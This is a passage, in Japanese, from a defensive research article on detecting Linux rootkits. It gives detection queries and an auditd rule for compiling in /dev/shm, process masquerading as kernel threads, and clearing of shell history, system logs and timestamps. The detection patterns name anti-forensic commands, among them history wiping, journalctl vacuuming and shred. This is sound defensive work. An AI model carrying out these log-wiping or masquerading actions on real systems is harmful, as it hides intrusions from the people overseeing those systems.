/tmp/var/tmpディレクトリのクローン作成は一般的であるため、リポジトリのクローン作成が一般的な環境では、これらをこのルールから削除することができます。しかし、 /dev/shmにおける同様の活動は非常にまれである。

ローダーによって呼び出されるsetup.shスクリプトは、 /dev/shm/サブディレクトリ内のLKMをコンパイルすることで処理を続行します。実際の脅威アクターは通常、ホスト自体でコンパイルを行いませんが、どちらの場合もこのようなことが起こることはそれほど珍しくありません。

sequence with maxspan=10s
  [process where event.type == "start" and event.action == "exec" and
   process.name like (
     "*gcc*", "*g++*", "c++", "cc", "c99", "c89", "cc1*", "clang*",
     "musl-clang", "tcc", "zig", "ccache", "distcc"
   )] as event0
  [file where event.action == "creation" and file.path like "/dev/shm/*" and
   process.name like (
     "ld", "ld.*", "lld", "ld.lld", "mold", "collect2", "*-linux-gnu-ld*", 
     "*-pc-linux-gnu-ld*"
   ) and
   stringcontains~(event0.process.command_line, file.name)]

このエンドポイントロジックは、コンパイラの実行、それに続くリンカによる/dev/shm (またはサブディレクトリ)へのファイル作成を検出します。

そして最後に、 /dev/shmにリポジトリ全体をクローンし、 setup.shx.shを実行したため、共有メモリディレクトリからのプロセス実行が観察されます。これはほとんどの環境では一般的ではありません。

process where event.type == "start" and event.action == "exec" and
process.executable like ("/dev/shm/*", "/run/shm/*")

これらのルールは、検出ルールおよび保護アーティファクトのリポジトリ内で利用可能です。

正当なプロセスを装う

プロセス列挙やシステム監視の際に監視を回避するため、ルートキットはしばしば、プロセスやスレッドの名前を無害なシステムコンポーネントの名前と一致するように変更する。一般的な変装には以下のようなものがある。

  • kworkermigration 、またはrcu_sched (カーネルスレッド)
  • sshdsystemddbus-daemon 、またはbash (ユーザーランドデーモン)

これらの名前は、 pstophtopなどのツールの出力に溶け込むように選択されており、手動での検出をより困難にしています。この技術を利用するルートキットの例としては、ReptileやPUMAKITなどが挙げられる。Reptileは初期化時にkworkerを通じて異常なネットワークイベントを生成します。

network where event.type == "start" and event.action == "connection_attempted" 
and process.name like~ ("kworker*", "kthreadd") and not (
  destination.ip == null or
  destination.ip == "0.0.0.0" or
  cidrmatch(
    destination.ip,
    "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12",
    "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32",
    "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", 
    "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24",
    "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", 
    "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1",
    "FE80::/10", "FF00::/8"
  )
)

以下の例は、Reptileのポートノッキング機能を示しています。カーネルスレッドが分岐し、セッションIDを0に変更して、ネットワーク接続を確立します。

Reptile は、同じkworkerプロセスを利用してファイルを作成することも確認されています。

file where event.type == "creation" and
process.name like~ ("kworker*", "kthreadd")

PUMAKITはkthreaddを介してユーザーランドコマンドを実行するカーネルスレッドを生成しますが、他のルートキットではkworkerプロセスを介して同様の活動が確認されています。

process where event.type == "start" and event.action == "exec" and
process.parent.name like~ ("kworker*", "kthreadd") and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.args == "-c"

これらのkworkerおよびkthreaddルールは、Linuxカーネルの内部動作により誤検出を生成する可能性があります。これらは環境ごとに簡単に除外できますし、ロジックにコマンドライン引数を追加することもできます。

これらのルールは、検出ルールおよび保護アーティファクトのリポジトリで入手できます。

さらに、初期ドロッパーや永続化メカニズムなどの悪意のあるプロセスは、カーネルスレッドになりすまし、組み込みのシェル関数を利用してそれを行う可能性があります。exec -aコマンドを利用することで、攻撃者が選択した名前で任意のプロセスを起動できます。カーネルプロセスのなりすましは、以下の検出クエリによって検出できます。

process where event.type == "start" and event.action == "exec" and 
process.command_line like "[*]" and process.args_count == 1

この挙動は以下に示されており、複数のマルウェアがカーネルワーカーまたはWebサービスプロセスになりすまそうとした事例が見られます。

この手法は、特にgsocketを展開する際に、The Hacker's Choice (THC) ツールキットを利用する脅威アクターによって悪用されることもよくあります。

カーネルの偽装、およびexec -aを介した偽装全般に関するルールは、protections-artifactsリポジトリで入手できます。

野生環境で見られる、またHorse Pillでも見られる別のテクニックは、 prctlを使用してプロセス名を踏み潰すことです。このテレメトリが確実に利用可能になるようにするには、カスタムの Auditd ルールを作成できます。

-a exit,always -F arch=b64 -S prctl -k prctl_detection

そして、以下の検出ロジックが伴います。

process where host.os.type == "linux" and auditd.data.syscall == "prctl" and
auditd.data.a0 == "f"

これにより、この手法の検出が可能になります。以下のスクリーンショットでは、この手法が使用されているテレメトリの例を見ることができます。 process.executableは意味不明な文字列であり、 prctlはシステム上で正当なプロセスであるかのように偽装するために使用されます。

このルールとその設定手順は、こちらから入手できます。

仮装の方法は数多くあるが、ここでは最も一般的なものを紹介する。

ログと監査のクレンジング

多くのルートキットには、インストールや活動の痕跡をログから消去するルーチンが含まれています。その手法の一つは、被害者のシェル履歴を消去することである。これは2つの方法で検出できます。一つの方法は、シェル履歴ファイルの削除を検出することです。

file where event.type == "deletion" and file.name in (
  ".bash_history", ".zsh_history", ".sh_history", ".ksh_history",
  ".history", ".csh_history", ".tcsh_history", "fish_history"
)

2つ目の方法は、シェル履歴の消去に関連するコマンドライン引数を使用したプロセス実行を検出することです。

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("rm", "echo") or
    (
      process.args == "ln" and process.args == "-sf" and
      process.args == "/dev/null"
    ) or
    (process.args == "truncate" and process.args == "-s0")
  )
  and process.command_line like~ (
    "*.bash_history*", "*.zsh_history*", "*.sh_history*", "*.ksh_history*",
    "*.history*", "*.csh_history*", "*.tcsh_history*", "*fish_history*"
  )
) or
(process.name == "history" and process.args == "-c") or
(
  process.args == "export" and
  process.args like~ ("HISTFILE=/dev/null", "HISTFILESIZE=0")
) or
(process.args == "unset" and process.args like~ "HISTFILE") or
(process.args == "set" and process.args == "history" and process.args == "+o")

プロセスとファイルの両方の検出ルールを有効にすることで、より強固な多層防御戦略が可能になります。

ルートキットは、ロード時にカーネルを汚染したり、syslogやカーネルログを解析する際に識別できるツリー外のメッセージを生成したりする可能性があります。ルートキットは痕跡を消すために、以下のログファイルを削除する可能性があります。

file where event.type == "deletion" and file.path in (
  "/var/log/syslog", "/var/log/messages", "/var/log/secure", 
  "/var/log/auth.log", "/var/log/boot.log", "/var/log/kern.log", 
  "/var/log/dmesg"
)

または、 dmesgを介してカーネルメッセージバッファをクリアします。

process where event.type == "start" and event.action == "exec" and
process.name == "dmesg" and process.args in ("-c", "--clear")

dmesgを自動的に消去するルートキットの例として、 bdsルートキットがあります。これは/opt/bds_elf/bds_start.shを実行することでロードされます。

これらのログをクリアするもう1つの方法は、 journalctlを使用することです。

process where event.type == "start" and event.action == "exec" and
process.name == "journalctl" and
process.args like ("--vacuum-time=*", "--vacuum-size=*", "--vacuum-files=*")

これはシンギュラリティが使用した技術です。

Singularityのローダースクリプトが採用しているもう一つの手法は、ルートキットのロードに失敗した場合、またはロード処理が完了した後に、ルートキットに関連するすべてのファイルを削除することです。より徹底的な削除のために、著者はrmではなくshredを使用することを選択しました。rm (削除) は単にファイルのポインタを削除するため、高速ですがデータ復旧も可能です。shred 、ファイルデータをランダムなデータで複数回上書きし、復元できないようにします。これにより削除はより永続的になりますが、同時に、 shredほとんどのLinuxシステムでは一般的に使用されていないため、動作検出の観点からはノイズが多くなります。

process where event.type == "start" and event.action == "exec" and
process.name == "shred" and (
// Any short-flag cluster containing at least one of u/z, 
// and containing no extra "-" after the first one
process.args regex~ "-[^-]*[uz][^-]*" or
process.args in ("--remove", "--zero")
) and
not process.parent.name == "logrotate"

上記の正規表現により、フラグを組み合わせたり変更したりして検出を回避しようとする試みがより困難になります。以下は、Singularityがデプロイメントに関連するファイルを検索し、それらを削除する例です。

これらのファイルおよびログ削除手法は、いくつかの既成の検出ルールによって検出できます。

ルートキットは痕跡を完全に消去した後、変更したファイルにタイムスタンプを付与して、ファイル変更の痕跡が残らないようにする場合があります。

process where event.type == "start" and event.action == "exec" and
process.name == "touch" and
process.args like (
  "-t*", "-d*", "-a*", "-m*", "-r*", "--date=*", "--reference=*", "--time=*"
)

その一例を以下に示します。攻撃者は、 /etc/ld.so.confファイルのタイムスタンプを/dev/shmドライブ上のファイルの参照時間として使用し、周囲に溶け込もうとします。

これは、検出ルールと保護アーティファクトの両方を通じて、当社が対応範囲を拡大した手法です。

本研究では取り上げなかった技術も数多く存在しますが、本研究がLinuxルートキットの状況とその検出技術に関する理解を深める一助となることを確信しています。

ルートキット予防技術

Linuxルートキットの侵入を防ぐには、カーネルとユーザーランドの強化、厳格なアクセス制御、継続的な監視を組み合わせた多層防御戦略が必要です。SELinuxやAppArmorなどの強制的なアクセス制御フレームワークは、プロセスの動作やユーザーランドにおける永続化の機会を制限する。一方、ロックダウンモード、KASLR、SMEP/SMAPなどのカーネル強化技術や、LKRGのようなツールは、カーネルレベルの侵害リスクを軽減する。動的ロードを無効にしたり、モジュール署名を強制したりすることでカーネルモジュールの使用を制限すると、ルートキット展開の一般的な経路をさらに減らすことができます。

悪意のある動作に対する可視性は、システムコールとファイルアクティビティを監視するAuditdとファイル整合性監視、および疑わしいランタイム動作を特定して防止するEDRソリューションによって強化されます。セキュリティは、 seccomp-bpf 、Linuxの機能、およびlandlock LSMを通じてプロセス権限を最小限に抑えることでさらに強化され、それによってシステムコールアクセスとファイルシステムとのやり取りが制限されます。

カーネルとソフトウェアのタイムリーなアップデートは、必要に応じてライブパッチを適用することで、既知の脆弱性が悪用される前に解消します。さらに、ファイルシステムとデバイスの構成は、制限フラグを使用して機密性の高いファイルシステムを再マウントし、 /dev/mem/proc/kallsymsなどのカーネルメモリインターフェイスへのアクセスを無効にすることによって強化する必要があります。

単一の対策でルートキットを完全に防ぐことはできません。構成の強化、静的および動的な検出、そしてフォレンジック対応の準備を組み合わせた多層防御は、依然として不可欠である。

まとめ

本シリーズの第1部では、Linuxルートキットが内部でどのように動作するのかを検証し、その進化、分類、そしてユーザー空間とカーネル空間を操作するための技術について探究しました。この第2部では、その知識を実用的な検出戦略に落とし込み、ルートキットの活動を明らかにする行動シグナルとランタイムテレメトリに焦点を当てました。

Windowsマルウェアは依然として商用セキュリティベンダーや脅威研究コミュニティの注目を独占している一方で、Linuxは世界のクラウドインフラストラクチャ、高性能コンピューティング環境、インターネットサービスの大部分を支えているにもかかわらず、比較的研究が進んでいない。

私たちの分析によると、Linuxルートキットは進化を続けていることが明らかになりました。eBPF、 io_uring 、コンテナ化されたLinuxワークロードなどのテクノロジーの採用が進むにつれて、まだ十分に理解されていない、あるいは広く保護されていない新たな攻撃対象領域が生じています。

セキュリティコミュニティの皆様には、以下のことを推奨します。

  • 静的および動的な両方の観点から、Linuxに特化した検出エンジニアリングに投資する。
  • 研究成果、概念実証、および検出戦略をオープンに共有することで、防衛関係者間の集合的な知識の蓄積を促進する。
  • ベンダー、学術機関、業界が連携し、Linuxのルートキット対策をWindowsと同等の成熟度レベルにまで引き上げる。

防御側がこの巧妙かつ急速に進化する脅威環境に先手を打つためには、可視性、検知能力、対応能力を総合的に向上させるしかない。

この記事を共有する